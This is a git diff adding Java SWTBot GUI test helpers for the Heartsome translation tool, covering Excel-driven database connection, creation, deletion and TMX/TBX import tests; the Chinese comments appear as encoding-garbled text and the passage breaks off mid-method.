+import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.UpdateMode; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +/** + * 专门用æ¥ä»Ž Excel 文件中读å–测试数æ®çš„类,所有存放测试数æ®çš„ Excel 表都必须使用此类规定的列头。 + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class ExcelData { + + private HsRow row; + + /** 用æ¥ä¿å­˜åˆ›å»ºé¡¹ç›®æµ‹è¯•æ•°æ®çš„ Excel 表格中的列头文本 */ + + public static String colDBType = "DBType"; + public static String colServer = "Server"; + public static String colPort = "Port"; + public static String colInstance = "Instance"; + public static String colDBPath = "DBPath"; + public static String colUsername = "Username"; + public static String colPassword = "Password"; + public static String colSaveConn = "Save Connection"; + public static String colDBName = "DBName"; + public static String colTMDBName = "TMDBName"; + public static String colTBDBName = "TBDBName"; + public static String colExpResult = "Expected Result"; + public static String colConfirm = "Confirm"; + public static String colFilePath = "File Path"; + public static String colUpdateMode = "Update Mode"; + public static String colPrjName = "Project Name"; + public static String colRemark = "Remark"; + public static String colClient = "Client"; + public static String colCompany = "Company"; + public static String colEMail = "EMail"; + public static String colSrcLang = "Source Language"; + public static String colTgtLang = "Target Language"; + public static String colInvChar = "Invalid Character"; + public static String colDeleteContent = "Delete Content"; + public static String colFileType = "File Type"; + public static String colFileName = "File Name"; + public static String colOldName = "Old Name"; + public static String colNewName = "New Name"; + public static String colOverwrite = "Overwrite"; + public static String colLock100Match = "Lock 100% Match"; + public static String colLockContextMatch = "Lock Context Match"; + public static String colCaseSensitive = "Case Sensitive"; + public static String colMinPercentage = "Min Percentage"; + public static String colOverwriteMode = "Overwrite Mode"; + + /** + * @param row + * 用以读å–测试数æ®çš„ Excel æ•°æ®è¡Œå¯¹è±¡ + */ + public ExcelData(HsRow row) { + this.row = row; + } + + /** + * @param colHeader + * Excel 列头文本,请用本类æä¾›çš„å¸¸é‡ + * @return 一个文本值,若ä¸æ˜¯åˆšå¥½å–到一个éžç©ºå€¼ï¼Œåˆ™ä¼šæŠ¥é”™ã€‚适用于必填项 ; + */ + public String getText(String colHeader) { + return row.getOneResultOfCol(colHeader); + } + + /** + * @param colHeader + * Excel 列头文本,请用本类æä¾›çš„å¸¸é‡ + * @return 一个文本值,å¯èƒ½ä¸º null 或空。适用于éžå¿…填项 ; + */ + public String getTextOrNull(String colHeader) { + return row.getNullOrOneResultOfCol(colHeader); + } + + /** + * @param colHeader + * Excel 列头文本,请用本类æä¾›çš„å¸¸é‡ + * @return 一个文本值,以空字符串代替 null 值。适用于éžå¿…填项 ; + */ + public String getTextOrEmpty(String colHeader) { + String str = row.getNullOrOneResultOfCol(colHeader); + return (str == null ? "" : str); + } + + /** + * @param colHeader + * Excel 列头文本,请用本类æä¾›çš„å¸¸é‡ + * @return 字符串 List,ä¸å«ç©ºå€¼ ; + */ + public List getTextList(String colHeader) { + return row.getTextOfCol(colHeader); + } + + /** + * @param colHeader + * Excel 列头文本,请用本类æä¾›çš„å¸¸é‡ + * @return 字符串数组,ä¸å«ç©ºå€¼ ; + */ + public String[] getTextArray(String colHeader) { + return row.getArrayResultOfCol(colHeader); + } + + /** + * @param colHeader + * Excel 列头文本,请用本类æä¾›çš„å¸¸é‡ + * @return 布尔值 ; + */ + public boolean getBoolean(String colHeader) { + return row.getBooleanResultOfCol(colHeader); + } + + /** + * @return 从 Excel 中读å–文字内容的预期结果,并转æ¢ä¸ºç›¸åº”的枚举值供判断,若无则报错并返回 null; + */ + public ExpectedResult getExpectedResult() { + String strResult = row.getOneResultOfCol(colExpResult); + if (strResult.equals("SUCCESS")) { + return TsUIConstants.ExpectedResult.SUCCESS; + + } else if (strResult.equals("DUPLICATED_NAME")) { + return TsUIConstants.ExpectedResult.DUPLICATED_NAME; + + } else if (strResult.equals("INVALID_NAME")) { + return TsUIConstants.ExpectedResult.INVALID_NAME; + + } else if (strResult.equals("NO_FILE")) { + return TsUIConstants.ExpectedResult.NO_FILE; + + } else if (strResult.equals("NO_DB")) { + return TsUIConstants.ExpectedResult.NO_DB; + + } else if (strResult.equals("FILE_ERROR")) { + return TsUIConstants.ExpectedResult.FILE_ERROR; + + } else if (strResult.equals("WRONG_TYPE")) { + return TsUIConstants.ExpectedResult.WRONG_TYPE; + + } else if (strResult.equals("INVALID_FILE")) { + return TsUIConstants.ExpectedResult.INVALID_FILE; + + } else if (strResult.equals("INVALID_PATH")) { + return TsUIConstants.ExpectedResult.INVALID_PATH; + + } else if (strResult.equals("NO_SERVER")) { + return TsUIConstants.ExpectedResult.NO_SERVER; + + } else if (strResult.equals("NO_PORT")) { + return TsUIConstants.ExpectedResult.NO_PORT; + + } else if (strResult.equals("NO_INSTANCE")) { + return TsUIConstants.ExpectedResult.NO_INSTANCE; + + } else if (strResult.equals("NO_USERNAME")) { + return TsUIConstants.ExpectedResult.NO_USERNAME; + + } else if (strResult.equals("NO_PATH")) { + return TsUIConstants.ExpectedResult.NO_PATH; + + } else if (strResult.equals("CONNECTION_ERROR")) { + return TsUIConstants.ExpectedResult.CONNECTION_ERROR; + + } else if (strResult.equals("LONG_NAME")) { + return TsUIConstants.ExpectedResult.LONG_NAME; + + } else { + assertTrue("无此预期结果:" + strResult, false); + return null; + } + } + + /** + * @return 从 Excle 文件中读å–çš„æ•°æ®åº“更新模å¼; + */ + public UpdateMode getUpdateMode() { + String strResult = row.getOneResultOfCol(colUpdateMode); + if (strResult.equals("ALWAYS_ADD")) { + return TsUIConstants.UpdateMode.ALWAYS_ADD; + + } else if (strResult.equals("OVERWRITE")) { + return TsUIConstants.UpdateMode.OVERWRITE; + + } else if (strResult.equals("IGNORE")) { + return TsUIConstants.UpdateMode.IGNORE; + + } else if (strResult.equals("MERGE")) { + return TsUIConstants.UpdateMode.MERGE; + + } else { + assertTrue("å‚数错误,无此更新模å¼ï¼š" + strResult, false); + return null; + } + } + + /** + * @return 从 Excel 文件中读å–到的数æ®åº“类型,转为常é‡; + */ + public DB getDBType() { + String strType = row.getOneResultOfCol(colDBType); + if (strType.equals("INTERNAL")) { + return TsUIConstants.DB.INTERNAL; + } else if (strType.equals("MYSQL")) { + return TsUIConstants.DB.MYSQL; + } else if (strType.equals("ORACLE")) { + return TsUIConstants.DB.ORACLE; + } else if (strType.equals("POSTGRESQL")) { + return TsUIConstants.DB.POSTGRESQL; + } else if (strType.equals("MSSQL")) { + return TsUIConstants.DB.MSSQL; + } else { + assertTrue("无此数æ®åº“类型:" + strType, false); + return null; + } + } + + /** + * @return 从 Excel 中读å–的覆盖模å¼/ç­–ç•¥; + */ + public UpdateMode getOverwriteMode() { + String strResult = row.getOneResultOfCol(colOverwriteMode); + if (strResult.equals("KEEP_CURRENT")) { + return TsUIConstants.UpdateMode.KEEP_CURRENT; + } else if (strResult.equals("OVERWRITE_IF_HIGHER")) { + return TsUIConstants.UpdateMode.OVERWRITE_IF_HIGHER; + } else if (strResult.equals("ALWAYS_OVERWRITE")) { + return TsUIConstants.UpdateMode.OVERWRITE; + } else { + assertTrue("无此覆盖模å¼ï¼š" + strResult, false); + return null; + } + } + +} diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/db/DBManagement.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/db/DBManagement.java new file mode 100644 index 0000000..9d4ba1b --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/db/DBManagement.java @@ -0,0 +1,548 @@ +package net.heartsome.cat.ts.test.basecase.menu.db; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.basecase.common.ExcelData; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.DB; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.Entry; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.ExpectedResult; +import net.heartsome.cat.ts.test.ui.dialogs.CreateDatabaseDialog; +import net.heartsome.cat.ts.test.ui.dialogs.DatabaseManagementDialog; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.msgdialogs.ConfirmDialog; +import net.heartsome.cat.ts.test.ui.msgdialogs.InformationDialog; +import net.heartsome.cat.ts.test.ui.tasks.Waits; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.utils.SWTBotUtils; +import net.heartsome.test.swtbot.widgets.HsSWTBotTable; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +import org.eclipse.jface.bindings.keys.KeyStroke; +import org.eclipse.jface.bindings.keys.ParseException; +import org.eclipse.swtbot.swt.finder.keyboard.Keystrokes; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * æ•°æ®åº“的相关æ“作 + * @author felix_lu + * @version + * @since JDK1.6 + */ +/** + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class DBManagement { + + private final TS ts = TS.getInstance(); + private DatabaseManagementDialog dialog; + private DB dbType; + private String server; + private String port; + private String instance; + private String path; + private String username; + private String password; + private boolean saveConn = true; + private String dbName; + private HsRow rowDBData; + private ExcelData data; + private String connectionName; + private ExpectedResult expectedConnect = null; + private ExpectedResult expectedCreate = null; + // private boolean confirm = false; + private HsSWTBotTable table; + private int mode; + + /** + * @param row + * 需è¦è¯»å–æ•°æ®çš„ Excel 行。 + */ + public DBManagement(HsRow row) { + rowDBData = row; + data = new ExcelData(row); + } + + /** + * 完整æµç¨‹ï¼šæ ¹æ®ä»Ž Excel 中读å–çš„æ•°æ®åŽ»è¿žæŽ¥æ•°æ®åº“æœåŠ¡å™¨; + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + */ + public void connectServer(Entry from) { + mode = DatabaseManagementDialog.MANAGEMENT; + openDBMgmgDialog(from); + getDataConnect(mode); + getDBListFromServer(false); + dialog.btnClose().click(); + // TODO å¯å¢žåŠ å¯¹æ•°æ®åº“æ•°æ®çš„ç›¸å…³éªŒè¯ + } + + /** + * 完整步骤:根æ®ä»Ž Excel 中读å–çš„æ•°æ®åˆ é™¤å·²ä¿å­˜çš„è¿žæŽ¥ä¿¡æ¯ + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + */ + public void deleteConnection(Entry from) { + mode = DatabaseManagementDialog.MANAGEMENT; + openDBMgmgDialog(from); + getDataConnect(mode); + assertTrue("未在已ä¿å­˜çš„连接信æ¯ä¸­æ‰¾åˆ°è¯¥è¿žæŽ¥ï¼š" + connectionName, isConnectionSaved()); + selectDBType().expandNode(connectionName).select().contextMenu(TsUIConstants.getString("ctxMenuDelete")) + .click(); + assertTrue("ä»å¯åœ¨å·²ä¿å­˜çš„连接信æ¯ä¸­æ‰¾åˆ°è¯¥è¿žæŽ¥ï¼š" + connectionName, !isConnectionSaved()); + dialog.btnClose().click(); + } + + /** + * 完整æµç¨‹ï¼šæ ¹æ®ä»Ž Excel 中读å–çš„æ•°æ®åˆ›å»ºæ•°æ®åº“; + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + */ + public void createDB(Entry from) { + mode = DatabaseManagementDialog.MANAGEMENT; + openDBMgmgDialog(from); + getDataCreateDB(); + getDBListFromServer(true); + if (expectedCreate.equals(TsUIConstants.ExpectedResult.SUCCESS) && isExist(dbName)) { // 若预期结果为创建æˆåŠŸã€è€Œè¯¥æ•°æ®åº“ç›®å‰å·²å­˜åœ¨ï¼Œåˆ™å…ˆåˆ é™¤ + table.unselect(); + table.select(table.rowIndexOfColumn(dbName, TsUIConstants.getString("tblColDatabaseName"))); + dialog.btnDelete().click(); + ConfirmDialog dlgConfirm = new ConfirmDialog(ConfirmDialog.dlgTitleTips, + ConfirmDialog.msgDeleteDatabaseFromServer); + dlgConfirm.btnOK().click(); + Waits.shellClosed(dlgConfirm); + } + inputDBName(); + if (expectedCreate.equals(TsUIConstants.ExpectedResult.SUCCESS)) { + assertTrue("列表中没有该数æ®åº“:" + dbName, isExist(dbName)); + } + dialog.btnClose().click(); + } + + /** + * 完整æµç¨‹ï¼šæ ¹æ®ä»Ž Excel 中读å–çš„æ•°æ®åˆ é™¤æ•°æ®åº“; + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + * @param confirm + * 是å¦ç¡®è®¤åˆ é™¤ + */ + public void deleteDB(Entry from, boolean confirm) { + mode = DatabaseManagementDialog.MANAGEMENT; + openDBMgmgDialog(from); + getDataDeleteDB(); + getDBListFromServer(true); + assertTrue("列表中没有该数æ®åº“:" + dbName, isExist(dbName)); + table.unselect(); + table.select(table.rowIndexOfColumn(dbName, TsUIConstants.getString("tblColDatabaseName"))); + dialog.btnDelete().click(); + ConfirmDialog dlgConfirm = new ConfirmDialog(ConfirmDialog.dlgTitleTips, + ConfirmDialog.msgDeleteDatabaseFromServer); + if (confirm) { + dlgConfirm.btnOK().click(); + Waits.shellClosed(dlgConfirm); + assertTrue("æ•°æ®åº“ä»åœ¨åˆ—表中:" + dbName, !isExist(dbName)); + } else { + dlgConfirm.btnCancel().click(); + Waits.shellClosed(dlgConfirm); + assertTrue("列表中没有该数æ®åº“:" + dbName, isExist(dbName)); + } + dialog.btnClose().click(); + } + + /** + * 完整æµç¨‹ï¼šæ ¹æ®ä»Ž Excel 中读å–çš„æ•°æ®åˆ é™¤æ•°æ®åº“; + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + */ + public void deleteDB(Entry from) { + deleteDB(from, data.getBoolean(ExcelData.colConfirm)); + } + + /** + * 完整æµç¨‹ï¼šé€‰æ‹©åº“; + * @param dbName + * è¦é€‰æ‹©çš„æ•°æ®åº“å称,其他信æ¯ç›´æŽ¥ä»Ž Excel ä¸­è¯»å– + */ + public void selectDB(String dbName) { + mode = DatabaseManagementDialog.SELECT; + getDataConnect(mode); + dialog = new DatabaseManagementDialog(DatabaseManagementDialog.SELECT); + dialog.activate(); + getDBListFromServer(true); + assertTrue("æ•°æ®åº“å称:" + dbName + ",实际内容:" + table.cell(0, 1), isExist(dbName)); + table.unselect(); + table.select(table.rowIndexOfColumn(dbName, TsUIConstants.getString("tblColDatabaseName"))); + dialog.btnOK().click(); + Waits.shellClosed(dialog); + } + + // 以下为éžå®Œæ•´æ­¥éª¤ + + /** + * @param from + * å…¥å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类中æ供的枚举。 + * @return 打开的库管ç†å¯¹è¯æ¡†; + */ + public DatabaseManagementDialog openDBMgmgDialog(Entry from) { + if (from.equals(TsUIConstants.Entry.MENU)) { + ts.menuDBManagement().click(); + } else if (from.equals(TsUIConstants.Entry.SHORTCUT)) { + try { + ts.pressShortcut(SWTBotUtils.getCtrlOrCmdKey(), Keystrokes.SHIFT, KeyStroke.getInstance("D")); + } catch (ParseException e) { + e.printStackTrace(); + assertTrue("å¿«æ·é”®è§£æžé”™è¯¯ã€‚", false); + } + } else { + assertTrue("å‚数错误,该功能无此入å£ï¼š" + from, false); + } + dialog = new DatabaseManagementDialog(DatabaseManagementDialog.MANAGEMENT); + return dialog; + } + + /** + * 在库管ç†å¯¹è¯æ¡†å·¦è¾¹çš„树上选择并展开指定类型的数æ®åº“; + * @return 指定数æ®åº“类型的树节点; + */ + public SWTBotTreeItem selectDBType() { + return selectDBType(dbType); + } + + /** + * 在库管ç†å¯¹è¯æ¡†å·¦è¾¹çš„树上选择并展开指定类型的数æ®åº“ + * @param dbType + * æ•°æ®åº“类型; + * @return 指定数æ®åº“类型的树节点; + */ + public SWTBotTreeItem selectDBType(DB dbType) { + SWTBotTreeItem treei = null; + assertTrue("库管ç†å¯¹è¯æ¡†ä¸º null。", dialog != null); + + switch (dbType) { + + case INTERNAL: { + treei = dialog.treiDBInternal().expand().select(); + verifyInternalDBWidgets(); + break; + } + + case MYSQL: { + treei = dialog.treiDBMySQL().expand().select(); + verifyExternalDBWidgets(dbType); + break; + } + + case ORACLE: { + treei = dialog.treiDBOracle().expand().select(); + verifyExternalDBWidgets(dbType); + break; + } + + case POSTGRESQL: { + treei = dialog.treiDBPostgreSQL().expand().select(); + verifyExternalDBWidgets(dbType); + break; + } + + case MSSQL: { + treei = dialog.treiDBMSSQL().expand().select(); + verifyExternalDBWidgets(dbType); + break; + } + + default: { + assertTrue("无此数æ®åº“类型" + dbType, false); + } + } + + return treei; + } + + /** + * 确认选中内置库åŽï¼Œé™¤è·¯å¾„å’Œæµè§ˆæŒ‰é’®å¤–,其他输入控件的状æ€ä¸ºä¸å¯ç”¨; + */ + private void verifyInternalDBWidgets() { + assertTrue(dialog.txtWLblPath().isEnabled()); + assertTrue(dialog.btnBrowse().isEnabled()); + assertTrue(!dialog.txtWLblServer().isEnabled()); + assertTrue(!dialog.txtWLblPort().isEnabled()); + assertTrue(!dialog.txtWLblInstance().isEnabled()); + assertTrue(!dialog.txtWLblUsername().isEnabled()); + assertTrue(!dialog.txtWLblPassword().isEnabled()); + } + + /** + * 确认选中外部库åŽï¼Œå„输入控件的状æ€ä¸Žå†…置库相åï¼ŒåŠ Oracle 特有的实例 + * @param dbType + * æ•°æ®åº“类型; + */ + private void verifyExternalDBWidgets(DB dbType) { + assertTrue(dialog.txtWLblServer().isEnabled()); + assertTrue(dialog.txtWLblPort().isEnabled()); + assertTrue(dialog.txtWLblUsername().isEnabled()); + assertTrue(dialog.txtWLblPassword().isEnabled()); + assertTrue(!dialog.txtWLblPath().isEnabled()); + assertTrue(!dialog.btnBrowse().isEnabled()); + if (dbType.equals(TsUIConstants.DB.ORACLE)) { + assertTrue(dialog.txtWLblInstance().isEnabled()); + } else { + assertTrue(!dialog.txtWLblInstance().isEnabled()); + } + } + + /** + * 往界é¢ä¸­å¡«å†™æœåŠ¡å™¨è¿žæŽ¥ä¿¡æ¯; + */ + public void setConnectionInfo() { + if (dbType.equals(TsUIConstants.DB.INTERNAL)) { + dialog.txtWLblPath().setText(path); + } else { + dialog.txtWLblServer().setText(server); + dialog.txtWLblPort().setText(port); + dialog.txtWLblUsername().setText(username); + dialog.txtWLblPassword().setText(password); + if (dbType.equals(TsUIConstants.DB.ORACLE)) { + dialog.txtWLblInstance().setText(instance); + } + } + if (saveConn) { + dialog.chkbxRemeber().select(); + } + } + + /** + * 在数æ®åº“æœåŠ¡å™¨ä¸ŠæŸ¥è¯¢æ•°æ®åº“列表 + * @param useSavedConnection + * 是å¦ä½¿ç”¨å·²ä¿å­˜çš„连接; + * @return + */ + public HsSWTBotTable getDBListFromServer(boolean useSavedConnection) { + assertTrue("库管ç†å¯¹è¯æ¡†ä¸º null。", dialog != null); + dialog.activate(); + if (useSavedConnection && isConnectionSaved()) { + selectDBType().expandNode(connectionName).select(); + assertTrue("æœåŠ¡å™¨åœ°å€æœªæ­£ç¡®èµ‹å€¼ã€‚", server.equals(dialog.txtWLblServer().getText())); + assertTrue("æœåŠ¡å™¨ç«¯å£æœªæ­£ç¡®èµ‹å€¼ã€‚", port.equals(dialog.txtWLblPort().getText())); + } else { + selectDBType(); + setConnectionInfo(); + dialog.btnSearch().click(); + } + + if (expectedConnect.equals(TsUIConstants.ExpectedResult.SUCCESS)) { + assertTrue(HSBot.bot().activeShell().getText().equals(dialog.getText())); + } else { + assertTrue(HSBot.bot().shells().length == 3); + InformationDialog msgDlg = null; + + switch (expectedConnect) { + + case SUCCESS: { + break; + } + + case NO_SERVER: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, + InformationDialog.msgServerIsRequired); + break; + } + + case NO_PORT: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, InformationDialog.msgPortIsRequired); + break; + } + + case NO_INSTANCE: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, + InformationDialog.msgInstanceIsRequired); + break; + } + + case NO_PATH: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, InformationDialog.msgPathIsRequired); + break; + } + + case NO_USERNAME: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, + InformationDialog.msgUsernameIsRequired); + break; + } + + case CONNECTION_ERROR: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleTips, + InformationDialog.msgServerConnectionError); + break; + } + + default: { + assertTrue("å‚数错误,无此预期结果:" + expectedConnect, false); + } + } + + assertTrue(msgDlg.lblMessage().isVisible()); + msgDlg.btnOK().click(); + Waits.shellClosed(msgDlg); + } + + table = dialog.bot().table(); + return table; + } + + /** + * @return 是å¦èƒ½åœ¨è¯¥æ•°æ®åº“类型下找到å为 指定æœåŠ¡å™¨:端å£å· çš„å·²ä¿å­˜è¿žæŽ¥; + */ + public boolean isConnectionSaved() { + SWTBotTreeItem[] items = selectDBType().getItems(); + for (SWTBotTreeItem item : items) { + if (item.getText().equals(connectionName)) { + return true; + } + } + return false; + } + + /** + * @return 在当å‰å¯¹è¯æ¡†ä¸­éªŒè¯è¯¥æ•°æ®åº“是å¦å­˜åœ¨; + */ + public boolean isExist(String dbName) { + return table.containsTextInColumn(dbName, TsUIConstants.getString("tblColDatabaseName")); + } + + /** + * 未打开库管ç†å¯¹è¯æ¡†æ—¶ï¼Œç›´æŽ¥éªŒè¯æ•°æ®åº“是å¦å­˜åœ¨ + * @param dbName + * è¦éªŒè¯çš„æ•°æ®åº“å称 + * @param closeDlg + * 是å¦åœ¨èŽ·å–结果åŽå…³é—­å¯¹è¯æ¡† + * @return 若该数æ®åº“存在则返回 true,å¦åˆ™ä¸º false; + */ + public boolean isDBExist(String dbName, boolean closeDlg) { + mode = DatabaseManagementDialog.SELECT; + openDBMgmgDialog(TsUIConstants.Entry.MENU); + getDataConnect(mode); + getDBListFromServer(false); + boolean result = table.containsTextInColumn(dbName, dialog.tblColDatabaseName()); + if (closeDlg) { + closeDialog(); + } + return result; + } + + /** + * 输入数æ®åº“å称,å«é¡¹ç›®å称åˆæ³•æ€§æ ¡éªŒ; + */ + public void inputDBName() { + assertTrue(dialog.btnCreate().isEnabled()); + dialog.btnCreate().click(); + CreateDatabaseDialog dlgInputDBName = new CreateDatabaseDialog(); + dlgInputDBName.txtWLblDatabaseName().setText(dbName); + dlgInputDBName.btnOK().click(); + + switch (expectedCreate) { + + case INVALID_NAME: { + assertTrue("未正确显示å称éžæ³•ä¿¡æ¯ã€‚", dlgInputDBName.msgDBNameInvalid().isVisible()); + dlgInputDBName.btnCancel().click(); + break; + } + + case DUPLICATED_NAME: { + assertTrue("未正确显示é‡åä¿¡æ¯ã€‚", dlgInputDBName.msgDBExists().isVisible()); + dlgInputDBName.btnCancel().click(); + break; + } + + case LONG_NAME: { + assertTrue("未正确显示å称过长信æ¯ã€‚", dlgInputDBName.msgDBNameTooLong().isVisible()); + dlgInputDBName.btnCancel().click(); + break; + } + } + Waits.shellClosed(dlgInputDBName); + } + + /** + * 关闭库管ç†å¯¹è¯æ¡†; + */ + public void closeDialog() { + dialog.btnClose().click(); + } + + // ä»¥ä¸‹ä¸ºè¯»å– Excel 文件中的测试数æ®ç›¸å…³æ–¹æ³• + + /** + * 从 Excel 文件中读å–连接数æ®åº“æœåŠ¡å™¨ç›¸å…³æ•°æ®ï¼Œå¹¶èµ‹å€¼ç»™æˆå‘˜å˜é‡; + */ + public void getDataConnect(int mode) { + assertTrue("å‚数错误:Excel 列为 null。", rowDBData != null); + dbType = data.getDBType(); + server = data.getTextOrEmpty(ExcelData.colServer); + port = data.getTextOrEmpty(ExcelData.colPort); + instance = data.getTextOrEmpty(ExcelData.colInstance); + path = data.getTextOrEmpty(ExcelData.colDBPath); + username = data.getTextOrEmpty(ExcelData.colUsername); + password = data.getTextOrEmpty(ExcelData.colPassword); + saveConn = data.getBoolean(ExcelData.colSaveConn); + if (mode == DatabaseManagementDialog.MANAGEMENT) { + expectedCreate = data.getExpectedResult(); + if (expectedCreate.equals(TsUIConstants.ExpectedResult.INVALID_NAME) + || expectedCreate.equals(TsUIConstants.ExpectedResult.DUPLICATED_NAME) + || expectedCreate.equals(TsUIConstants.ExpectedResult.LONG_NAME)) { + expectedConnect = TsUIConstants.ExpectedResult.SUCCESS; // 创建失败,éšå«è¿žæŽ¥æˆåŠŸ + } else { + expectedConnect = data.getExpectedResult(); + } + } else if (mode == DatabaseManagementDialog.SELECT) { + dbName = data.getTextOrEmpty(ExcelData.colDBName); + // assertTrue(dbName != null); 因选择模å¼å¯èƒ½ç”¨ç›´æŽ¥ä¼ è¿›æ¥çš„æ•°æ®åº“å称而éžæœ¬ç”¨ä¾‹ Excel 中的数æ®ï¼Œå–æ¶ˆæ­¤éªŒè¯ + expectedConnect = TsUIConstants.ExpectedResult.SUCCESS; + } else { + assertTrue("无此模å¼ï¼š" + mode, false); + } + + // 未å–到æŸäº›å€¼ï¼Œä¸”ä¸æ˜¯æµ‹è¯•è¯¥ä¸ºç©ºçš„情况,自动å–默认值 + if (server.equals("") && expectedConnect != TsUIConstants.ExpectedResult.NO_SERVER) { + if (dbType != TsUIConstants.DB.INTERNAL) { + server = "localhost"; + } + } + if (port.equals("") && expectedConnect != TsUIConstants.ExpectedResult.NO_PORT) { + if (dbType.equals(TsUIConstants.DB.MYSQL)) { + port = "3306"; + } else if (dbType.equals(TsUIConstants.DB.ORACLE)) { + port = "1521"; + } else if (dbType.equals(TsUIConstants.DB.POSTGRESQL)) { + port = "5432"; + } else if (dbType.equals(TsUIConstants.DB.MSSQL)) { + port = "1433"; + } + } + if (dbType.equals(TsUIConstants.DB.INTERNAL)) { + connectionName = path; + } else if (dbType.equals(TsUIConstants.DB.ORACLE)) { + connectionName = server + ":" + port + ":" + instance; + } else { + connectionName = server + ":" + port; + } + } + + /** + * 从 Excel 文件中读å–创建数æ®åº“相关数æ®ï¼Œå¹¶èµ‹å€¼ç»™æˆå‘˜å˜é‡; + */ + public void getDataCreateDB() { + getDataConnect(DatabaseManagementDialog.MANAGEMENT); + dbName = data.getTextOrEmpty(ExcelData.colDBName); + assertTrue("æ•°æ®é”™è¯¯ï¼Œæ•°æ®åº“å称为 null。", dbName != null); + } + + /** + * 从 Excel 文件中读å–删除数æ®åº“相关数æ®ï¼Œå¹¶èµ‹å€¼ç»™æˆå‘˜å˜é‡; + */ + public void getDataDeleteDB() { + getDataCreateDB(); + // confirm = data.getConfirm(); + } + +} diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/db/ImportToDB.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/db/ImportToDB.java new file mode 100644 index 0000000..352b3a0 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/db/ImportToDB.java @@ -0,0 +1,272 @@ +package net.heartsome.cat.ts.test.basecase.menu.db; + +import static org.junit.Assert.assertTrue; + +import java.io.File; + +import net.heartsome.cat.ts.test.basecase.common.ExcelData; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.Entry; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.ExpectedResult; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.ImportType; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.UpdateMode; +import net.heartsome.cat.ts.test.ui.dialogs.ImportDialog; +import net.heartsome.cat.ts.test.ui.dialogs.InputDialog; +import net.heartsome.cat.ts.test.ui.dialogs.PreferencesDialog; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.tasks.Waits; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.waits.IsWidgetInvisible; +import net.heartsome.test.swtbot.waits.IsWidgetTextEquals; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +import org.eclipse.swtbot.swt.finder.exceptions.WidgetNotFoundException; + +/** + * 导入 TMXã€TBX 的基础用例å°è£…。 + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class ImportToDB { + + private TS ts; + private HsRow row; + private ExcelData data; + private ImportDialog dialog; + private ImportType importType; + private String filePath; + private String dbName; + private UpdateMode updateMode; + private ExpectedResult expectedResult; + + /** + * @param row + * Excel æ•°æ®æ¥æº + */ + public ImportToDB(ImportType importType, HsRow row) { + this.row = row; + data = new ExcelData(row); + this.importType = importType; + ts = TS.getInstance(); + } + + /** + * 完整æµç¨‹ï¼šå¯¼å…¥ ImportType.TMX 文件 + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æ供的枚举; + */ + public void importTMX(Entry from) { + assertTrue("仅功能仅在导入模å¼ä¸º ImportType.TMX æ—¶å¯ç”¨ã€‚", importType.equals(TsUIConstants.ImportType.TMX)); + importFile(from); + } + + /** + * 完整æµç¨‹ï¼šå¯¼å…¥ ImportType.TBX 文件 + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æ供的枚举; + */ + public void importTBX(Entry from) { + assertTrue("仅功能仅在导入模å¼ä¸º ImportType.TBX æ—¶å¯ç”¨ã€‚", importType.equals(TsUIConstants.ImportType.TBX)); + importFile(from); + } + + /** + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æ供的枚举; + */ + private void importFile(Entry from) { + getDataAll(); + openImportDialog(from); + + // 预期结果验è¯ï¼šæœªé€‰æ‹©æ–‡ä»¶ + if (expectedResult.equals(TsUIConstants.ExpectedResult.NO_FILE)) { + assertTrue(dialog.txtWLblFile().getText().equals("")); + dialog.btnFinish().click(); + assertTrue(dialog.msgNoFileToImport().isVisible()); + + } else { + // 